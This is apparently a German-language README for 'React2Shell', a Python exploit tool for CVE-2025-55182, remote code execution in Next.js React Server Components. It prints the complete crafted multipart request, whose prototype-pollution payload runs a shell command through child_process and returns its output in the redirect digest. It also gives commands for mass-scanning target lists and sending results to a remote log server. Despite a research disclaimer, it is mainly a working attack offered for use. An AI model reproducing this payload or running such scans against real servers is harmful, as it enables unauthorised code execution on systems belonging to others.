💀 React2Shell Exploit — CVE-2025-55182

██████╗ ███████╗ █████╗  ██████╗████████╗██████╗ ███████╗██╗  ██╗███████╗██╗     ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║  ██║██╔════╝██║     ██║
██████╔╝█████╗  ███████║██║        ██║    █████╔╝███████╗███████║█████╗  ██║     ██║
██╔══██╗██╔══╝  ██╔══██║██║        ██║   ██╔═══╝ ╚════██║██╔══██║██╔══╝  ██║     ██║
██║  ██║███████╗██║  ██║╚██████╗   ██║   ███████╗███████║██║  ██║███████╗███████╗███████╗
╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝ ╚═════╝   ╚═╝   ╚══════╝╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝

🔥 Remote-Code-Ausführung in React Server Components

CVE-2025-55182

Geschrieben von INDRA

⚠️ Haftungsausschluss

Dieses Projekt dient ausschließlich zu Bildungszwecken, Sicherheitsforschung und autorisierten Penetrationstests.

Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden.

Nutzen Sie diesen Exploit nur gegen Systeme, die Sie besitzen oder für die Sie ausdrückliche Testgenehmigung haben.

📖 Beschreibung

React2Shell ist ein Proof-of-Concept-Exploit für CVE-2025-55182, der angreifbare React Server Components (RSC)-Implementierungen in Next.js betrifft.

Der Exploit sendet eine manipulierte Multipart-Anfrage, die den verwundbaren Deserialisierungsablauf missbraucht und die Befehlsausgabe über die Redirect-Digest-Antwort der Anwendung extrahiert.

Bei Erfolg zeigt der Exploit die ausgeführte Befehlsausgabe direkt im Terminal an.

✨ Funktionen

• 🚀 Einzelziel-Modus
• 🌍 Massen-Scan-Modus
• 🔄 Automatische HTTP- und HTTPS-Erkennung
• ⚡ Multithread-Ausführung
• 📝 Optionales lokales Logging
• 🌐 Optionaler Remote-Log-Server
• 🎯 Saubere Ausgabe
• 🛡 SSL-Verifizierung deaktiviert (für Testumgebungen)
• 📂 Entfernung doppelter Ziele

📦 Voraussetzungen

Python 3.8+

Abhängigkeiten installieren:

pip install requests urllib3

📁 Projektstruktur

.
├── exploit.py
└── README.md

🔥 Angreifbare Versionen

React

Next.js

Angreifbar

• 14.3.0-canary.77 und später
• 15.x
• 16.x

Gepatcht

• 15.0.5
• 15.1.9
• 15.2.6
• 16.0.7

📨 Verwendete HTTP-Anfrage

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]

------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

🚀 Verwendung

Hilfe anzeigen

python exploit.py -h

Einzelnes Ziel scannen

python exploit.py -u https://target.com

Mehrere Ziele scannen

targets.txt

target1.com
target2.com
target3.com

Ausführen

python exploit.py -f targets.txt

Ergebnisse speichern

python exploit.py -u https://target.com -o results.txt

Ergebnisse an entfernten Log-Server senden

python exploit.py -u https://target.com -l https://your-log-server.com

Alles zusammen

python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com

📋 Befehlszeilenoptionen

🖥 Beispielausgabe

🚀 Loaded 42 targets (HTTP + HTTPS)

🔥 [VULNERABLE] https://target.com/

💀 Command Output →
uid=1000(node) gid=1000(node) groups=1000(node)

──────────────────────────────────────────────

⚙️ Funktionsweise

1. Liest Ziel(e) ein
2. Erzeugt automatisch HTTP- und HTTPS-URLs
3. Sendet manipulierte Multipart-Anfrage
4. Analysiert den Redirect-Digest
5. Extrahiert die Befehlsausgabe
6. Gibt erfolgreiche Ausnutzung aus
7. Speichert optional Ergebnisse lokal oder entfernt

📌 Hinweise

• Testet automatisch sowohl HTTP als auch HTTPS, wenn kein Schema angegeben ist.
• Doppelte Ziele werden automatisch entfernt.
• Verwendet 30 gleichzeitige Threads.
• Ignoriert ungültige SSL-Zertifikate.
• Timeout ist auf 10 Sekunden gesetzt.

❤️ Danksagungen

• Exploit-Entwicklung: INDRA
• CVE: CVE-2025-55182

⚖️ Rechtlicher Hinweis

Die unbefugte Nutzung dieser Software gegen Systeme ohne Erlaubnis kann gegen lokale, nationale oder internationale Gesetze verstoßen.

Der Autor ist nicht verantwortlich für Missbrauch.

⭐ Wenn dieses Projekt Ihrer Forschung geholfen hat, erwägen Sie, einen Stern zu vergeben.

Fröhliches Jagen 🕷️